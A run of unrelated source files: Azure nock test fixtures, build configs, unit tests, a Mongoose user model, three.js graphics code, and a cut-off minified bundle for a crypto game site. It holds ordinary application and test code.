'b3868640-731f-48c3-8aed-ab636a808b60', server: 'Microsoft-HTTPAPI/2.0, Microsoft-HTTPAPI/2.0', 'x-ms-ratelimit-remaining-subscription-reads': '14979', 'x-ms-correlation-request-id': 'a2278e4e-a4ad-4a1d-8b78-2eac8af2b501', 'x-ms-routing-request-id': 'EASTASIA:20170216T082853Z:a2278e4e-a4ad-4a1d-8b78-2eac8af2b501', date: 'Thu, 16 Feb 2017 08:28:53 GMT', connection: 'close' }); return result; }, function (nock) { var result = nock('https://management.azure.com:443') .get('/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?api-version=2016-04-30-preview') .reply(200, "{\r\n \"startTime\": \"2017-02-16T08:27:20.1577513+00:00\",\r\n \"status\": \"InProgress\",\r\n \"name\": \"9e16b06d-72fc-41fe-b991-6991f058fd4e\"\r\n}", { 'cache-control': 'no-cache', pragma: 'no-cache', 'content-length': '134', 'content-type': 'application/json; charset=utf-8', expires: '-1', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'x-ms-served-by': 'b23ceb60-6840-49b9-8277-180b46eaebe3_131316274155432550', 'x-ms-request-id': 'b3868640-731f-48c3-8aed-ab636a808b60', server: 'Microsoft-HTTPAPI/2.0, Microsoft-HTTPAPI/2.0', 'x-ms-ratelimit-remaining-subscription-reads': '14979', 'x-ms-correlation-request-id': 'a2278e4e-a4ad-4a1d-8b78-2eac8af2b501', 'x-ms-routing-request-id': 'EASTASIA:20170216T082853Z:a2278e4e-a4ad-4a1d-8b78-2eac8af2b501', date: 'Thu, 16 Feb 2017 08:28:53 GMT', connection: 'close' }); return result; }, function (nock) { var result = nock('http://management.azure.com:443') .get('/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?api-version=2016-04-30-preview') .reply(200, "{\r\n \"startTime\": \"2017-02-16T08:27:20.1577513+00:00\",\r\n \"endTime\": \"2017-02-16T08:29:03.7298367+00:00\",\r\n \"status\": \"Succeeded\",\r\n \"name\": \"9e16b06d-72fc-41fe-b991-6991f058fd4e\"\r\n}", { 'cache-control': 'no-cache', pragma: 'no-cache', 'content-length': '184', 'content-type': 'application/json; charset=utf-8', expires: '-1', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'x-ms-served-by': 'b23ceb60-6840-49b9-8277-180b46eaebe3_131316274155432550', 'x-ms-request-id': '2f39ec1e-ac9d-4541-a80f-60d454c293ea', server: 'Microsoft-HTTPAPI/2.0, Microsoft-HTTPAPI/2.0', 'x-ms-ratelimit-remaining-subscription-reads': '14986', 'x-ms-correlation-request-id': '10dd4d78-555a-4384-ad45-a6f430358534', 'x-ms-routing-request-id': 'EASTASIA:20170216T082924Z:10dd4d78-555a-4384-ad45-a6f430358534', date: 'Thu, 16 Feb 2017 08:29:24 GMT', connection: 'close' }); return result; }, function (nock) { var result = nock('https://management.azure.com:443') .get('/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?api-version=2016-04-30-preview') .reply(200, "{\r\n \"startTime\": \"2017-02-16T08:27:20.1577513+00:00\",\r\n \"endTime\": \"2017-02-16T08:29:03.7298367+00:00\",\r\n \"status\": \"Succeeded\",\r\n \"name\": \"9e16b06d-72fc-41fe-b991-6991f058fd4e\"\r\n}", { 'cache-control': 'no-cache', pragma: 'no-cache', 'content-length': '184', 'content-type': 'application/json; charset=utf-8', expires: '-1', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'x-ms-served-by': 'b23ceb60-6840-49b9-8277-180b46eaebe3_131316274155432550', 'x-ms-request-id': '2f39ec1e-ac9d-4541-a80f-60d454c293ea', server: 'Microsoft-HTTPAPI/2.0, Microsoft-HTTPAPI/2.0', 'x-ms-ratelimit-remaining-subscription-reads': '14986', 'x-ms-correlation-request-id': '10dd4d78-555a-4384-ad45-a6f430358534', 'x-ms-routing-request-id': 'EASTASIA:20170216T082924Z:10dd4d78-555a-4384-ad45-a6f430358534', date: 'Thu, 16 Feb 2017 08:29:24 GMT', connection: 'close' }); return result; }]];
import svelte from "rollup-plugin-svelte"; import commonjs from "@rollup/plugin-commonjs"; import resolve from "@rollup/plugin-node-resolve"; import livereload from "rollup-plugin-livereload"; import { terser } from "rollup-plugin-terser"; import postcss from 'rollup-plugin-postcss'; import typescript from "@rollup/plugin-typescript"; import sveltePreprocess from "svelte-preprocess"; const production = !process.env.ROLLUP_WATCH; function serve() { let server; function toExit() { if (server) server.kill(0); } return { writeBundle() { if (server) return; server = require("child_process").spawn( "npm", ["run", "start", "--", "--dev", "--host"], { stdio: ["ignore", "inherit", "inherit"], shell: true, } ); process.on("SIGTERM", toExit); process.on("exit", toExit); }, }; } export default { input: "src/main.ts", output: { sourcemap: true, format: "iife", name: "app", file: "public/build/bundle.js", }, plugins: [ svelte({ preprocess: sveltePreprocess({ sourceMap: !production, postcss: true, }), compilerOptions: { // enable run-time checks when not in production dev: !production, }, }), resolve({ browser: true, dedupe: ["svelte"], }), commonjs(), typescript({ sourceMap: !production, inlineSources: !production, }), postcss({ extract: 'bundle.css', minimize: production, sourceMap: !production }), // In dev mode, call `npm run start` once // the bundle has been generated !production && serve(), // Watch the `public` directory and refresh the // browser on changes when not in production !production && livereload("public"), // If we're building for production (npm run build // instead of npm run dev), minify production && terser(), ], watch: { clearScreen: false, }, };
'use strict' const file = require('./util/guess-fixture-name')(__filename) const test = require('tape') const processFile = require('./util/process-ipoker') // eslint-disable-next-line no-unused-vars const ocat = require('ocat').applyRes5Opts() const spok = require('spok') test(`ipoker: ${file}`, function(t) { const res = processFile(file) spok(t, res, [ { seats: [ { seatno: 1, player: 'Player0', chips: 2.02 } , { seatno: 2, player: 'Player1', chips: 1.58 } , { seatno: 3, player: 'Player2', chips: 3.05 } , { seatno: 4, player: 'Player3', chips: 3 } , { seatno: 6, player: 'Player4', chips: 0.66 } , { seatno: 8, player: 'Player5', chips: 2.61 } , { seatno: 10, player: 'Player6', chips: 1.42 } ] , info: { room: 'ipoker' , timezone: null , pokertype: 'holdem' , limit: 'nolimit' , currency: '$' , donation: null , rake: null , buyin: null , sb: 0.01 , bb: 0.02 , ante: 0 , year: 2017 , month: 1 , day: 23 , hour: 22 , min: 27 , sec: 48 , hero: 'Hero' , handid: '3858162574' , gameno: '3858162574' , gametype: 'cash' } , table: { tablename: 'Ajaccio' , tableno: 486280776 , maxseats: 10 , button: 10 } , board: { card1: '9d', card2: 'Tc', card3: 'Qh', card4: '5d', card5: '5h' } , posts: [ { player: 'Player0', type: 'sb', amount: 0.01 } , { player: 'Player1', type: 'bb', amount: 0.02 } ] , preflop: [ { player: 'Player2', type: 'fold' } , { player: 'Player3', type: 'fold' } , { player: 'Player4', type: 'call', amount: 0.02 } , { player: 'Player5', type: 'fold' } , { player: 'Player6', type: 'call', amount: 0.02 } , { player: 'Player0', type: 'call', amount: 0.01 } , { player: 'Player1', type: 'check' } ] , flop: [ { player: 'Player0', type: 'check' } , { player: 'Player1', type: 'check' } , { player: 'Player4', type: 'check' } , { player: 'Player6', type: 'check' } ] , turn: [ { player: 'Player0', type: 'check' } , { player: 'Player1', type: 'check' } , { player: 'Player4', type: 'check' } , { player: 'Player6', type: 'bet', amount: 0.04 } , { player: 'Player0', type: 'fold' } , { player: 'Player1', type: 'fold' } , { player: 'Player4', type: 'call', amount: 0.04 } ] , river: [ { player: 'Player4', type: 'check' } , { player: 'Player6', type: 'check' } ] , showdown: [ { player: 'Player6', type: 'collect', amount: 0.15 } , { player: 'Player4', type: 'show', card1: '8h', card2: 'Kh' } , { player: 'Player6', type: 'show', card1: 'Qc', card2: 'Jc' } ] , summary: [ { type: 'pot', single: true, amount: 0.15 } ] , hero: 'Hero' , holecards: null } , { seats: [ { seatno: 1, player: 'Player0', chips: 2 } , { seatno: 2, player: 'Player1', chips: 1.56 } , { seatno: 3, player: 'Player2', chips: 3.05 } , { seatno: 4, player: 'Player3', chips: 3 } , { seatno: 5, player: 'Hero', chips: 0.8 } , { seatno: 6, player: 'Player4', chips: 0.6 } , { seatno: 8, player: 'Player5', chips: 2.61 } , { seatno: 10, player: 'Player6', chips: 1.51 } ] , info: { room: 'ipoker' , timezone: null , pokertype: 'holdem' , limit: 'nolimit' , currency: '$' , donation: null , rake: null , buyin: null , sb: 0.01 , bb: 0.02 , ante: 0 , year: 2017 , month: 1 , day: 23 , hour: 22 , min: 29 , sec: 14 , hero: 'Hero' , handid: '3858162748' , gameno: '3858162748' , gametype: 'cash' } , table: { tablename: 'Ajaccio' , tableno: 486280776 , maxseats: 10 , button: 1 } , board: { card1: '4d', card2: '6h', card3: 'Js', card4: '6s' } , posts: [ { player: 'Player1', type: 'sb', amount: 0.01 } , { player: 'Player2', type: 'bb', amount: 0.02 } , { player: 'Hero', type: 'bb', amount: 0.02 } ] , preflop: [ { player: 'Player3', type: 'fold' } , { player: 'Hero', type: 'check' } , { player: 'Player4', type: 'fold' } , { player: 'Player5', type: 'fold' } , { player: 'Player6', type: 'fold' } , { player: 'Player0', type: 'call', amount: 0.02 } , { player: 'Player1', type: 'raise', amount: 0.02, raiseTo: 0.04 } , { player: 'Player2', type: 'fold' } , { player: 'Hero', type: 'fold' } , { player: 'Player0', type: 'call', amount: 0.02 } ] , flop: [ { player: 'Player1', type: 'check' } , { player: 'Player0', type: 'check' } ] , turn: [ { player: 'Player1', type: 'check' } , { player: 'Player0', type: 'bet', amount: 0.12 } , { player: 'Player1', type: 'fold' } ] , river: [] , showdown: [ { player: 'Player0', type: 'collect', amount: 0.24 } , { player: 'Hero', type: 'show', card1: '7s', card2: '8s' } ] , summary: [ { type: 'pot', single: true, amount: 0.24 } ] , hero: 'Hero' , holecards: { card1: '7s', card2: '8s' } } , { seats: [ { seatno: 1, player: 'Player0', chips: 2.08 } , { seatno: 2, player: 'Player1', chips: 1.52 } , { seatno: 3, player: 'Player2', chips: 3.03 } , { seatno: 4, player: 'Player3', chips: 3 } , { seatno: 5, player: 'Hero', chips: 0.78 } , { seatno: 6, player: 'Player4', chips: 0.6 } , { seatno: 8, player: 'Player5', chips: 2.61 } , { seatno: 10, player: 'Player6', chips: 1.51 } ] , info: { room: 'ipoker' , timezone: null , pokertype: 'holdem' , limit: 'nolimit' , currency: '$' , donation: null , rake: null , buyin: null , sb: 0.01 , bb: 0.02 , ante: 0 , year: 2017 , month: 1 , day: 23 , hour: 22 , min: 30 , sec: 41 , hero: 'Hero' , handid: '3858162919' , gameno: '3858162919' , gametype: 'cash' } , table: { tablename: 'Ajaccio' , tableno: 486280776 , maxseats: 10 , button: 2 } , board: { card1: '4h', card2: '6c', card3: '6s', card4: '8s', card5: '2c' } , posts: [ { player: 'Player2', type: 'sb', amount: 0.01 } , { player: 'Player3', type: 'bb', amount: 0.02 } ] , preflop: [ { player: 'Hero', type: 'fold' } , { player: 'Player4', type: 'call', amount: 0.02 } , { player: 'Player5', type: 'fold' } , { player: 'Player6', type: 'fold' } , { player: 'Player0', type: 'call', amount: 0.02 } , { player: 'Player1', type: 'fold' } , { player: 'Player2', type: 'fold' } , { player: 'Player3', type: 'check' } ] , flop: [ { player: 'Player3', type: 'check' } , { player: 'Player4', type: 'check' } , { player: 'Player0', type: 'check' } ] , turn: [ { player: 'Player3', type: 'check' } , { player: 'Player4', type: 'check' } , { player: 'Player0', type: 'check' } ] , river: [ { player: 'Player3', type: 'check' } , { player: 'Player4', type: 'check' } , { player: 'Player0', type: 'check' } ] , showdown: [ { player: 'Player4', type: 'collect', amount: 0.07 } , { player: 'Hero', type: 'show', card1: '8c', card2: 'Ah' } , { player: 'Player4', type: 'show', card1: 'Js', card2: '2h' } , { player: 'Player0', type: 'show', card1: 'Ks', card2: '9d' } , { player: 'Player3', type: 'show', card1: 'Th', card2: 'Ac' } ] , summary: [ { type: 'pot', single: true, amount: 0.07 } ] , hero: 'Hero' , holecards: { card1: '8c', card2: 'Ah' } } ]) t.end() })
import unittest import numpy as np from encoders import _BoWEncoder from encoders import DenseEncoder from encoders import EmbeddingEncoder from encoders import NumericEncoder from encoders import SparseEncoder from encoders import trim_vocabulary class MethodsTest(unittest.TestCase): def test_trim_vocabulary(self): vocabulary = { 'foo': 2, 'bar': 1, 'baz': 1 } expected = ['foo', 'baz', 'bar'] self.assertEqual(expected, trim_vocabulary(vocabulary)) class BoWEncoderTest(unittest.TestCase): def test_dictionary_initializer(self): vocabulary = { 'foo': 0.3, 'bar': 0.1, 'baz': 0.2 } # [bar, baz, foo] => [2, 1, 0] data = ['baz', 'qux', 'foo'] expected = [1, 0] encoder = _BoWEncoder(vocabulary) self.assertEqual(expected, encoder(data)) def test_encoder_correctness(self): vocabulary = { 'foo': 0.3, 'bar': 0.1, 'baz': 0.2 } # [bar, baz, foo] => [2, 1, 0] vocabulary_max_size = 2 data = ['baz', 'bar'] expected = [1] encoder = _BoWEncoder( vocabulary, vocabulary_max_size=vocabulary_max_size) self.assertEqual(expected, encoder(data)) class DenseEncoderTest(unittest.TestCase): def test_delegated_initializer(self): # BoWEncoderTest.test_dictionary_initializer vocabulary = { 'foo': 3, 'bar': 1, 'baz': 2 } data = ['baz', 'qux', 'foo'] expected = [1, 0] encoder = DenseEncoder(vocabulary) self.assertEqual(expected, encoder(data)) def test_transform(self): vocabulary = { 'foo': 3, 'bar': 1, 'baz': 2 } encoder = DenseEncoder(vocabulary) data = [ [2, 1], [0, 2], ] onehot = [ [0, 1, 1], [1, 0, 1], ] actual = encoder.transform(data) expected = np.array(onehot, dtype=np.float32) self.assertTrue(np.allclose(expected, actual)) class SparseEncoderTest(unittest.TestCase): def test_transform(self): vocabulary = { 'foo': 3, 'bar': 1, 'baz': 2 } encoder = SparseEncoder(vocabulary) data = [ [2, 1], [0, 2], ] onehot = [ [0, 1, 1], [1, 0, 1], ] actual = encoder.transform(data).toarray() expected = np.array(onehot, dtype=np.float32) self.assertTrue(np.allclose(expected, actual)) class NumericeEncoderTest(unittest.TestCase): def test_transform(self): data = [[1], [3], [2]] expected_shape = (3, 1) encoder = NumericEncoder() actual = encoder.transform(data) self.assertEqual(expected_shape, actual.shape) class EmbeddingEncoderTest(unittest.TestCase): def test_encoder_correctness(self): vocabulary = { 'foo': 3, 'bar': 1, 'baz': 2 } # [bar, baz, foo] => [3, 2, 1] input_length = 2 encoder = EmbeddingEncoder(vocabulary, input_length) data = ['baz', 'bar'] expected = [2, 3] self.assertEqual(expected, encoder(data)) def test_transform(self): vocabulary = { 'foo': 3, 'bar': 1, 'baz': 2 } # [bar, baz, foo] => [3, 2, 1] input_length = 2 encoder = EmbeddingEncoder(vocabulary, input_length) data = [ [3, 2], [2], [3, 2, 1], ] embedded = [ [3, 2], [2, 0], [3, 2], ] actual = encoder.transform(data) expected = np.array(embedded, dtype=np.int32) self.assertTrue(np.array_equal(expected, actual))
const mongoose = require('mongoose'); const bcrypt = require('bcryptjs'); const config = require('../config/database'); // User Schema const UserSchema = mongoose.Schema({ name: { type: String }, email: { type: String, required: true }, username: { type: String, required: true }, password: { type: String, required: true } }); const User = module.exports = mongoose.model('User', UserSchema); module.exports.getUserById = function(id, callback) { User.findById(id, callback); } module.exports.getUserByUsername = function(username, callback) { const query = { username: username } User.findOne(query, callback); } module.exports.addUser = function(newUser, callback) { bcrypt.genSalt(10, (err, salt) => { bcrypt.hash(newUser.password, salt, (err, hash) => { if (err) throw err; newUser.password = hash; newUser.save(callback); }); }); } module.exports.comparePassword = function(candidatePassword, hash, callback) { bcrypt.compare(candidatePassword, hash, (err, isMatch) => { if (err) throw err; callback(null, isMatch); }); }
import React from 'react'; import { connect } from 'react-redux'; import { Header } from '../components/header/index'; import { Footer } from '../components/footer/footer'; import { Route } from 'react-router-dom'; import { SharedStyle } from '../components/styles/shared'; class Home extends React.PureComponent { render() { const { component: Component, ...rest } = this.props; return ( <Route {...rest} render={(matchProps) => ( <div className="DefaultLayout"> <Header /> <SharedStyle> <Component {...matchProps} /> </SharedStyle> <Footer /> </div> )} /> ); } } export default connect()(Home);
require('./bootstrap') import { createApp, h } from 'vue' import { createInertiaApp } from '@inertiajs/inertia-vue3' import { InertiaProgress } from '@inertiajs/progress' import VuePlyr from '@skjnldsv/vue-plyr' import plyrConfig from './plyr-configs.js' import Layout from './Layouts/Base' const el = document.getElementById('app'); createInertiaApp({ resolve: name => { const page = require(`./Pages/${name}`).default page.layout = Layout return page }, setup({ el, app, props, plugin }) { createApp({ render: () => h(app, props) }) .mixin({ methods: { route } }) .use(plugin) .use(VuePlyr, { plyr: { controls: plyrConfig.plyrControls, tooltips: { controls: false }, seekTime: 17 } }) .mount(el) } }) InertiaProgress.init({ color: '#4B5563' })
var LineSteppingEnvironment = function () { this.environment = new Environment(); this.updating = false; this.points = []; this.boxGeometry = new THREE.BoxBufferGeometry(100, 100, 100); this.white = new THREE.MeshLambertMaterial({ color: 0x888888 }); this.dark = new THREE.MeshLambertMaterial({ color: 0x555555 }); this.blue = new THREE.MeshPhongMaterial({ color: 0x3399dd }); this.initPoints = function () { let scl = new THREE.Vector3(100, 50, 50); for (let i = 0; i < 10; i++) { var box = new THREE.Mesh(this.boxGeometry, this.dark); this.environment.scene.add(box); box.scale.set(0.05, 0.05, 0.05); box.position.set( (Math.random() * scl.x) - (scl.x / 2), (Math.random() * scl.y) - (scl.y / 2) + 75, (Math.random() * scl.z) - (scl.z / 2)); box.castShadow = true; //this.environment.draggableObjects.push(box); this.points.push(box); } let average = this.getAverage(this.points); this.environment.camera.position.y = 150; this.environment.camera.lookAt(average); if (this.environment.orbit) { this.environment.controls.target.set(average.x, average.y, average.z); this.environment.controls.update(); } this.avg = new THREE.Mesh(this.boxGeometry, new THREE.MeshPhongMaterial({ color: 0xdd3333 })); this.environment.scene.add(this.avg); this.avg.scale.set(0.07, 0.07, 0.07); this.avg.position.set(average.x, average.y, average.z); this.avg.castShadow = true; /*this.step = new THREE.Mesh(this.boxGeometry, new THREE.MeshPhongMaterial({ color: 0xdd9933 })); this.environment.scene.add(this.step); this.step.scale.set(0.07, 0.07, 0.07); this.step.position.set(average.x, average.y, average.z); this.step.castShadow = true;*/ this.startHandle = new THREE.Mesh(this.boxGeometry, this.blue); this.startHandle.scale.set(0.075, 0.075, 0.075); this.startHandle.position.set(average.x - 40, average.y + 40, average.z); this.startHandle.castShadow = true; this.environment.scene.add(this.startHandle); this.environment.draggableObjects.push(this.startHandle); this.startDir = new THREE.ArrowHelper(new THREE.Vector3(-1, 1, 0).normalize(), this.avg.position, 40, 0x1177bb); this.startDir.setLength(40, 10, 5); this.environment.scene.add(this.startDir); this.steppedDirForward = new THREE.ArrowHelper(new THREE.Vector3(0, 1, 0), this.avg.position, 40, 0xdd3333); this.steppedDirForward.setLength(40, 10, 5); this.environment.scene.add(this.steppedDirForward); this.steppedDirBackward = new THREE.ArrowHelper(new THREE.Vector3(0, 1, 0), this.avg.position, 40, 0xdd3333); this.steppedDirBackward.setLength(40, 10, 5); this.environment.scene.add(this.steppedDirBackward); } this.getAverage = function (points) { let average = new THREE.Vector3(0, 0, 0); for (let i = 0; i < points.length; i++) { average.add(points[i].position); } average.divideScalar(points.length); return average; } this.stepLineFit = function (points, average, normalizedDirection) { let newDirection = new THREE.Vector3(0, 0, 0); for (let i = 0; i < points.length; i++) { let centeredPoint = points[i].position.clone().sub(average); newDirection.add(centeredPoint.multiplyScalar(normalizedDirection.clone().dot(centeredPoint))); } newDirection.normalize(); return newDirection; } //Projects 'point' to be within 'distance' of 'anchor' this.setDistance = function ConstrainDistance(point, anchor, distance) { return point.sub(anchor).normalize().multiplyScalar(distance).add(anchor); } this.animate = function animatethis() { requestAnimationFrame(() => this.animate()); //Set up a lazy render loop where it only renders if it's been interacted with in the last second if (this.environment.viewDirty) { this.environment.lastTimeRendered = this.environment.time.getElapsedTime(); this.environment.viewDirty = false; } if (this.environment.time.getElapsedTime() - this.environment.lastTimeRendered < 1.0) { let average = this.getAverage(this.points); this.avg.position.set(average.x, average.y, average.z); this.startHandle.position.z = average.z; let startDirection = this.startHandle.position.clone().sub(average).normalize(); this.startDir.setDirection(startDirection); let steppedFit = this.stepLineFit(this.points, average, startDirection); this.steppedDirForward.setDirection(steppedFit); this.steppedDirBackward.setDirection(steppedFit.clone().multiplyScalar(-1)); this.environment.renderer.render(this.environment.scene, this.environment.camera); } }; this.initPoints(); this.animate(); // Initialize the view in-case we're lazy rendering... this.environment.renderer.render(this.environment.scene, this.environment.camera); } new LineSteppingEnvironment();
/*! * ${copyright} */ /*global Promise*/ sap.ui.define([], function () { "use strict"; var codeCache = {}; return function (sUrl) { return new Promise(function (fnResolve) { var fnSuccess = function (result) { codeCache[sUrl] = result; fnResolve(result); }; var fnError = function () { fnResolve({ errorMessage: "not found: '" + sUrl + "'" }); }; if (!(sUrl in codeCache)) { jQuery.ajax(sUrl, { dataType: "text", success: fnSuccess, error: fnError }); } else { fnResolve(codeCache[sUrl]); } }); }; });
/** * @author alteredq / http://alteredqualia.com/ */ THREE.MaskPass = function ( scene, camera ) { this.scene = scene; this.camera = camera; this.enabled = true; this.clear = true; this.needsSwap = false; }; THREE.MaskPass.prototype = { render: function ( renderer, writeBuffer, readBuffer, delta ) { var context = renderer.context; // don't update color or depth context.colorMask( false, false, false, false ); context.depthMask( false ); // set up stencil context.enable( context.STENCIL_TEST ); context.stencilOp( context.REPLACE, context.REPLACE, context.REPLACE ); context.stencilFunc( context.ALWAYS, 1, 0xffffffff ); // draw into the stencil buffer renderer.render( this.scene, this.camera, readBuffer, this.clear ); renderer.render( this.scene, this.camera, writeBuffer, this.clear ); // re-enable update of color and depth context.colorMask( true, true, true, true ); context.depthMask( true ); // only render where stencil is set to 1 context.stencilFunc( context.EQUAL, 1, 0xffffffff ); // draw if == 1 context.stencilOp( context.KEEP, context.KEEP, context.KEEP ); } }; THREE.ClearMaskPass = function () { this.enabled = true; }; THREE.ClearMaskPass.prototype = { render: function ( renderer, writeBuffer, readBuffer, delta ) { var context = renderer.context; context.disable( context.STENCIL_TEST ); } };
""" Unit tests for FlowQC """ import unittest import numpy as np from flowkit import Sample class QCTestCase(unittest.TestCase): def test_filter_anomalous_events(self): # there are 2 negative SSC-A events in this file (of 65016 total events) fcs_file_path = "flowqc/tests/test_data/100715.fcs" sample = Sample(fcs_path_or_data=fcs_file_path) sample.subsample_events(50000) sample.filter_anomalous_events(reapply_subsample=False) # using the default seed, the 2 negative events are in the subsample common_idx = np.intersect1d(sample.subsample_indices, sample.anomalous_indices) self.assertGreater(len(common_idx), 0) sample.filter_anomalous_events(reapply_subsample=True) common_idx = np.intersect1d(sample.subsample_indices, sample.anomalous_indices) self.assertEqual(len(common_idx), 0) self.assertGreater(sample.anomalous_indices.shape[0], 0)
import React from "react" import ReactDOM from "react-dom" import domReady from "domready" import socketIo from "./socketIo" import emitter from "./emitter" import { apiRunner, apiRunnerAsync } from "./api-runner-browser" import loader, { setApiRunnerForLoader, postInitialRenderWork } from "./loader" import syncRequires from "./sync-requires" import pages from "./pages.json" window.___emitter = emitter setApiRunnerForLoader(apiRunner) // Let the site/plugins run code very early. apiRunnerAsync(`onClientEntry`).then(() => { // Hook up the client to socket.io on server const socket = socketIo() if (socket) { socket.on(`reload`, () => { window.location.reload() }) } /** * Service Workers are persistent by nature. They stick around, * serving a cached version of the site if they aren't removed. * This is especially frustrating when you need to test the * production build on your local machine. * * Let's unregister the service workers in development, and tidy up a few errors. */ if (supportsServiceWorkers(location, navigator)) { navigator.serviceWorker.getRegistrations().then(registrations => { for (let registration of registrations) { registration.unregister() } }) } const rootElement = document.getElementById(`___gatsby`) const renderer = apiRunner( `replaceHydrateFunction`, undefined, ReactDOM.render )[0] loader.addPagesArray(pages) loader.addDevRequires(syncRequires) loader.getResourcesForPathname(window.location.pathname).then(() => { const preferDefault = m => (m && m.default) || m let Root = preferDefault(require(`./root`)) domReady(() => { renderer(<Root />, rootElement, () => { postInitialRenderWork() apiRunner(`onInitialClientRender`) }) }) }) }) function supportsServiceWorkers(location, navigator) { if (location.hostname === `localhost` || location.protocol === `https:`) { return `serviceWorker` in navigator } return false }
(this["webpackJsonppancake-frontend"]=this["webpackJsonppancake-frontend"]||[]).push([[37],{1181:function(n,e,t){"use strict";t.r(e),t.d(e,"default",(function(){return En}));var i,r,c,a,o,d,b,s,l,j,p,m,u,x,g,h,O,f,v,k,w,y,F,Q,E,C,G,S,z,D,A,q,L,N,R,W,I,$,B,M,P=t(29),H=t(0),J=t(11),T=t(5),U=t(24),Y=t(169),K=t(885),V=t(21),Z=t(18),X=t(876),_=t(879),nn=t(877),en=t(880),tn=t(125),rn=t(878),cn=t(2),an=J.e.div(i||(i=Object(P.a)(["\n align-self: stretch;\n background: ",";\n flex: none;\n \n text-align: center;\n width: 120px;\n height: 200px;\n"])),(function(n){return function(n){return n.isDark?"linear-gradient(139.73deg, #142339 0%, #24243D 47.4%, #37273F 100%)":"linear-gradient(139.73deg, #E6FDFF 0%, #EFF4F5 46.87%, #F3EFFF 100%)"}(n.theme)})),on=J.e.div(r||(r=Object(P.a)(["\n align-items: start;\n display: flex;\n flex: 1;\n flex-direction: column;\n padding: 24px;\n\n "," {\n align-items: center;\n flex-direction: row;\n font-size: 40px;\n }\n"])),(function(n){return n.theme.mediaQueries.md})),dn=J.e.div(c||(c=Object(P.a)(["\n flex: 1;\n"]))),bn=J.e.img(a||(a=Object(P.a)(["\n border-radius: 20%;\n \n"]))),sn=J.e.img(o||(o=Object(P.a)(["\n \n border-radius: 15px;\n height: 460px;\n width: 700px;\n"]))),ln=J.e.img(d||(d=Object(P.a)(["\n \n border-radius: 15px;\n height: 100px;\n width: 450px;\n"]))),jn=(Object(J.e)(T.S).attrs({as:"h3"})(b||(b=Object(P.a)(["\n font-size: 24px;\n\n "," {\n font-size: 40px;\n }\n"])),(function(n){return n.theme.mediaQueries.md})),J.e.div(s||(s=Object(P.a)(["\n flex: none;\n margin-right: 8px;\n\n "," {\n height: 164px;\n width: 164px;\n }\n\n "," {\n display: none;\n }\n"])),bn,(function(n){return n.theme.mediaQueries.md})),J.e.div(l||(l=Object(P.a)(["\n flex: none;\n margin-right: 8px;\n\n "," {\n height: 300px;\n width: 300px;\n }\n\n "," {\n display: none;\n }\n"])),sn,(function(n){return n.theme.mediaQueries.md}))),pn=J.e.div(j||(j=Object(P.a)(["\n flex: none;\n margin-right: 8px;\n\n "," {\n height: 80px;\n width: 280px;\n }\n\n "," {\n display: none;\n }\n"])),ln,(function(n){return n.theme.mediaQueries.md})),mn=J.e.div(p||(p=Object(P.a)(["\n display: none;\n\n "," {\n display: block;\n \n\n "," {\n height: 200px;\n width: 200px;\n }\n }\n"])),(function(n){return n.theme.mediaQueries.md}),bn),un=J.e.div(m||(m=Object(P.a)(["\n display: none;\n\n "," {\n display: block;\n margin-left: 24px;\n\n "," {\n height: 300px;\n width: 300px;\n }\n }\n"])),(function(n){return n.theme.mediaQueries.md}),sn),xn=Object(J.e)(T.u)(u||(u=Object(P.a)(["\n display: flex;\n margin-bottom: 16px;\n \n \n & > div {\n grid-column: span 6;\n width: 40%;\n }\n \n"]))),gn=(Object(J.e)(T.u)(x||(x=Object(P.a)(["\n background-image: url('/images/');\n background-repeat: no-repeat;\n background-position: top right;\n min-height: 376px;\n"]))),J.e.img(g||(g=Object(P.a)(["\n background-image: url('/images/armylevel1b.gif');\n background-repeat: no-repeat;\n background-size: contain;\n \n min-height: 376px;\n "]))),J.e.div(h||(h=Object(P.a)(["\n margin-bottom: 16px;\n"]))),J.e.img(O||(O=Object(P.a)(["\n margin-bottom: 16px;\n"]))),J.e.div(f||(f=Object(P.a)(["\n color: ",";\n font-size: 14px;\n"])),(function(n){return n.theme.colors.textSubtle})),J.e.div(v||(v=Object(P.a)(["\n display: flex;\n margin-top: 24px;\n button {\n flex: 1 0 50%;\n }\n"])))),hn=function(){var n=Object(Z.c)().account,e=Object(H.useState)(!1),t=Object(V.a)(e,2),i=(t[0],t[1],Object(U.b)().t),r=(Object(nn.j)(),Object(T.ic)(Object(cn.jsx)(rn.a,{}))),c=Object(V.a)(r,1)[0],a=Object(_.b)(),o=(a.claimAmount,a.setLastUpdated,Object(X.Db)().onMultiClaim,Object(X.n)(),Object(nn.Lb)()),d=Object(nn.Mb)(),b=Object(nn.Nb)(),s=Object(nn.Ob)(),l=i("This button will change if you are 1/10 random winner of the 300EGGC or 1/500 random winner of the accumulated bag. "),j=Object(T.kc)(l,{placement:"right-end"}),p=j.targetRef,m=j.tooltip,u=j.tooltipVisible,x=Object(X.ab)(),g=Object(en.g)(c),h=(g.handleApprove,g.requestedApproval,Object(cn.jsx)(sn,{src:"/images/chickenwar/genesis.gif",alt:"team avatar"})),O=Object(cn.jsx)(ln,{src:"/images/chickenwar/text.gif",alt:"team avatar"});return Object(cn.jsxs)(xn,{children:[Object(cn.jsx)(mn,{children:h}),Object(cn.jsxs)(on,{children:[Object(cn.jsxs)(dn,{children:[Object(cn.jsxs)(T.R,{alignItems:"center",mb:"16px",children:[Object(cn.jsx)(jn,{children:h}),Object(cn.jsx)(un,{children:O})]}),Object(cn.jsx)(pn,{children:O}),Object(cn.jsx)(T.Ob,{as:"p",color:"textSubtle",pr:"24px",mb:"16px",children:"Here it all began, through this door all the EvoChicken reached the Blockchain but now it is just a Dungeon full of monsters, take your army and try to discover clues from the beginning and rescue some trapped EGGC."}),Object(cn.jsx)(K.n,{}),Object(cn.jsx)(T.Ob,{as:"p",color:"textSubtle",pr:"34px",mb:"6px",lineHeight:"50px",children:"1 in 10 could win $ 900 